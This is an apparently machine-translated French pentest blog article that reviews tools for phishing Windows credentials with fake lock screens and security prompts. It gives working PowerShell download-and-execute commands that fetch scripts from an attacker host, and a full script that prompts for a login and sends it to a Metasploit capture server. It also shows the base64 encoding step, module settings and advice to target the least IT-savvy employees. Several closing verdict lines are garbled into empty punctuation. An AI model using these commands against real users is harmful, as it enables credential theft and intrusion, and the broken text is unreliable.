Au premier trimestre 2020, le nombre d'attaques de phishing ciblant les utilisateurs dans le monde a doublé par rapport à la même période en 2019, passant de 9% à 18%. Ces données sont fournies par "Kaspersky Lab".
Dans les systèmes d'exploitation de la famille Windows, il est normal que certains programmes et processus demandent des informations d'identification utilisateur pour l'authentification (par exemple, dans Outlook) pour élever les privilèges d'exécution (contrôle de compte d'utilisateur) ou simplement pour quitter le mode veille (Windows LockScreen). Imiter ce comportement Windows vous permet de récupérer les informations d'identification de l'utilisateur pour une utilisation ultérieure dans les tests d'intrusion. Cet article a compilé un résumé de plusieurs programmes de phishing courants pour modifier l'écran de verrouillage.
DE#
Les méthodes de test de pénétration modernes sont souvent basées sur le langage de programmation C #, car les programmes qu'il contient peuvent être exécutés via divers frameworks (Cobalt Strike, Covenant, etc.)
1) L' utilitaire FakeLogonScreen a été développé par Arris Huijgen en C # et il ne remplace pas seulement l'écran de saisie de mot de passe du système d'exploitation standard, mais il le fait en utilisant les paramètres de l'écran standard défini dans le système, ce qui augmente considérablement les chances de ne pas éveiller les soupçons de l'utilisateur et d'obtenir avec succès ses informations de connexion.
FakeLogonScreen - lance
FakeLogonScreen - écran de verrouillage
Lors de la saisie d'un mot de passe sur une fausse page de connexion, FakeLogonScreen validera les informations d'identification dans AD ou localement pour déterminer avec précision si le mot de passe a été saisi correctement. À l'avenir, le mot de passe sera affiché dans la console du pentester.
FakeLogonScreen - Saisie des informations d'identification
FakeLogonScreen comprend également une deuxième version du fichier exécutable, qui enregistre les informations d'identification capturées dans le fichier user.db localement sur la machine infectée. Ce fichier peut être visualisé à l'aide de la commande type:
type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db
FakeLogonScreen - enregistrement dans le fichier user.db
2) Le programme SharpLocker développé par Matt Pickford fonctionne de la même manière . Une fois lancé, il remplace également l'écran de connexion d'origine.
SharpLocker - verrouillage de l'écran
Chaque caractère saisi par l'utilisateur est intercepté jusqu'à ce que le mot de passe complet soit révélé. Il convient de noter, cependant, que cet utilitaire n'authentifie pas le mot de passe et renifle tout ce que l'utilisateur entre dans le champ du mot de passe.
SharpLocker - hameçonnage de mot de passe
Coque de puissance
Les invites de sécurité Windows pour les informations d'identification sont très courantes car les logiciels dans un environnement d'entreprise peuvent régulièrement nécessiter une confirmation supplémentaire ou une nouvelle autorisation. Microsoft Outlook, par exemple, est l'un des représentants les plus brillants de ces logiciels, qui demande constamment aux utilisateurs les informations d'identification de domaine.
1. Un utilitaire qui se déguise en fenêtre de requête de sécurité Windows s'appelle CredsLeaker . Pour son bon fonctionnement, un serveur Web est requis à partir duquel il recevra tous les fichiers nécessaires et où il stockera les informations d'identification de l'utilisateur, ainsi que la présence de PowerShell pour envoyer des requêtes HTTP à son serveur. À l'avenir, toutes les commandes seront exécutées à partir du fichier BAT inclus dans la composition.
CredsLeaker - Livraison HTTP
Avant d'exécuter le fichier run.bat, vous devez apporter toutes les modifications nécessaires aux fichiers de configuration de l'utilitaire. Une fois le fichier run.bat lancé, l'utilisateur verra une fenêtre de sécurité Windows demandant ses informations d'identification.
CredsLeaker -
Fenêtre de phishing La fenêtre d'invite ne disparaîtra que si des informations d'identification d'utilisateur valides sont saisies. Le domaine, le nom de l'ordinateur, le nom d'utilisateur et le mot de passe seront enregistrés dans le fichier creds.txt dans le chemin ci-dessous:
/var/www/html/creds.txt
CredsLeaker - sortie dans le fichier creds.txt
2. Matt Nelson a développé un script PowerShell qui appelle une invite d'informations d'identification de sécurité Windows et la valide. Cette fenêtre ne peut pas non plus être fermée par l'utilisateur tant que des informations d'identification valides n'ont pas été saisies. Ce script peut être exécuté à distance, et les informations d'identification saisies seront affichées dans la console sur la machine de l'attaquant:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt
Invoke-LoginPrompt - appel à distance
Invoke-LoginPrompt - fenêtre de phishing
3. Dans le cadre du framework Nishang , il existe également un script PowerShell qui crée une fausse fenêtre pour demander les informations d'identification de l'utilisateur.
Import-Module C:\Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish
Invoke-CredentialsPhish - Défi local et fenêtre de phishing
La fenêtre générée vous informera que cette action nécessite une confirmation sous forme d'informations d'identification. Les utilisateurs plus expérimentés en termes de sécurité de l'information peuvent soupçonner que cette fenêtre est causée par le lancement d'une application en arrière-plan, mais tout le monde dans un réseau d'entreprise ne peut pas avoir cette connaissance. Les informations d'identification que l'utilisateur saisit dans la boîte de dialogue seront affichées dans la console.
Invoke-CredentialsPhish - sortie des données collectées
Ce script peut également être exécuté à distance:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish
Rob Fuller dans son blog a décrit l'attaque contre le phishing des informations d'identification d'un utilisateur utilisant Metasploit et PowerShell. Le Metasploit Framework comprend des modules qui peuvent capturer les informations d'identification des utilisateurs à partir de divers protocoles (FTP, SMB, HTTP, etc.). Le module suivant permet de déployer un serveur HTTP de base avec authentification:
use auxiliary/server/capture/http_basic
set URIPATH /
PowerShell est utilisé pour mener une attaque de phishing sur les informations d'identification de l'utilisateur en générant une fenêtre d'invite de sécurité Windows, puis en transmettant les informations d'identification collectées au serveur HTTP créé précédemment via Metasploit:
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');
La capture initiale des informations d'identification nécessite l'utilisation du codage UTF-16LE suivi de la conversion en Base64:
cat popup.txt | iconv -t UTF-16LE
cat popup.txt | iconv -t UTF-16LE | base64 -w0
Conversion du code en Base64 L'
exécution du code spécifié, localement ou à distance, entraîne la demande d'autorisation de l'utilisateur, prétendument de la part de la sécurité Windows.
powershell.exe -ep bypass -enc <base64>
Fenêtre des identifiants de phishing
Le module Metasploit recevra les identifiants dès que l'utilisateur les saisira.
Serveur HTTP Metasploit - Récupération des informations d'identification
Metasploit
Le Framework Metasploit comprend un module qui peut déclencher indépendamment une fausse fenêtre demandant l'autorisation de sécurité Windows à partir de presque tous les processus du système. Pour que ce module fonctionne correctement, vous devez spécifier une session de compteur de travail et un processus au nom desquels la fausse demande d'autorisation de sécurité Windows sera appelée.
use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run
Module Metasploit - configuration
Dans ce cas, le symbole * indique au module de surveiller tous les processus qui s'exécutent pour le compte du système (NT Authority \ System), et d'appeler une boîte de dialogue lorsqu'un nouveau processus est lancé sur le système au nom du système.
Module Metasploit - surveillance de tous les processus
Dès qu'un nouveau processus démarre, une boîte de dialogue au nom de ce processus sera présentée à l'utilisateur avec une demande d'autorisation pour confirmer prétendument la poursuite des travaux.
Module Metasploit - Fenêtre de phishing
Dès que l'utilisateur entre ses identifiants, ils sont immédiatement affichés dans la console Metasploit.
Module Metasploit - obtention des informations d'identification
En outre, ce module peut être configuré pour attendre le démarrage d'un processus spécifique.
Module Metasploit - Récupération des informations d'identification via le processus notepad.exe
FRAPPER
Lockphish est un autre utilitaire capable d'effectuer une attaque de phishing qui usurpe la fenêtre de connexion Windows. Le modèle de fenêtre de connexion est stocké sur le serveur PHP et utilise par défaut YouTube pour rediriger l'utilisateur après avoir entré le nom d'utilisateur et le mot de passe.
bash lockphish.sh
LockPhish - Lancer
À ce stade, vous devez utiliser l'ingénierie sociale pour attirer l'utilisateur vers le site Web où se trouvent les fichiers de l'écran de verrouillage.
LockPhish - téléchargement d'un fichier
Contrairement à tous les autres utilitaires, la disposition des éléments sur cet écran de verrouillage peut ne pas être exacte, la demande d'autorisation sera affichée au nom de l'administrateur, et non au nom du compte d'utilisateur actuel, et la fenêtre de verrouillage est conçue en externe comme Windows 10 Lockscreen. Tout cela en combinaison peut grandement alerter l'utilisateur. Cet utilitaire ne dispose pas non plus de mécanismes pour valider le mot de passe saisi.
LockPhish - Écran de verrouillage Une
fois que l'utilisateur a entré les informations d'identification, une redirection vers le site Web youtube.com sera effectuée.
LockPhish - redirection
Les informations d'identification seront affichées dans la console.
LockPhish - informations d'identification collectées
Les méthodes présentées dans cet article seront efficaces si le pentester a déjà réussi à prendre pied dans le système (obtenir un point d'entrée stable), mais il n'est pas possible d'élever les privilèges ou d'obtenir les informations d'identification de l'utilisateur d'une autre manière. Lorsque vous effectuez de telles attaques de phishing, vous devez sélectionner soigneusement le public cible. L'efficacité sera plusieurs fois plus élevée si la cible est les employés les moins qualifiés en informatique de l'organisation.
Il y a encore plus de matériel dans notre blog sur les télégrammes. Souscrire!Bref verdict pour tous les logiciels testés
- FakeLogonScreen. Cela semble aussi réaliste que possible, tout en utilisant les paramètres standard définis dans le système. Sait comment valider les informations d'identification saisies. (Le Meilleur Choix)
- SharpLocker. , windows LockScreen, , . ( , FakeLogonScreen)
- CredsLeaker. , , - . , - — , “” , - — , , . ( )
- Invoke-LoginPrompt. , , Windows. . ( , )
- Invoke-CredentialsPhish. , .
- Rob Fuller. metasploit, , . ( )
- Metasploit phish_windows_credentials. Metasploit ( ), . ( , IT- )
- LockPhish. D'une part, il existe un écran de verrouillage tordu, sans authentification, et même sans prendre en compte l'utilisateur actuel (demande toujours un mot de passe à l'administrateur). En revanche, c'est le seul patient pouvant être déclenché via un navigateur. Envoyez le lien à la victime et attendez. (Il n'est pas recommandé de l'utiliser hors de la boîte, cependant, si vous connaissez le login d'une victime spécifique, reconfigurez-le depuis Adminnistrator et ce ne sera pas si mal.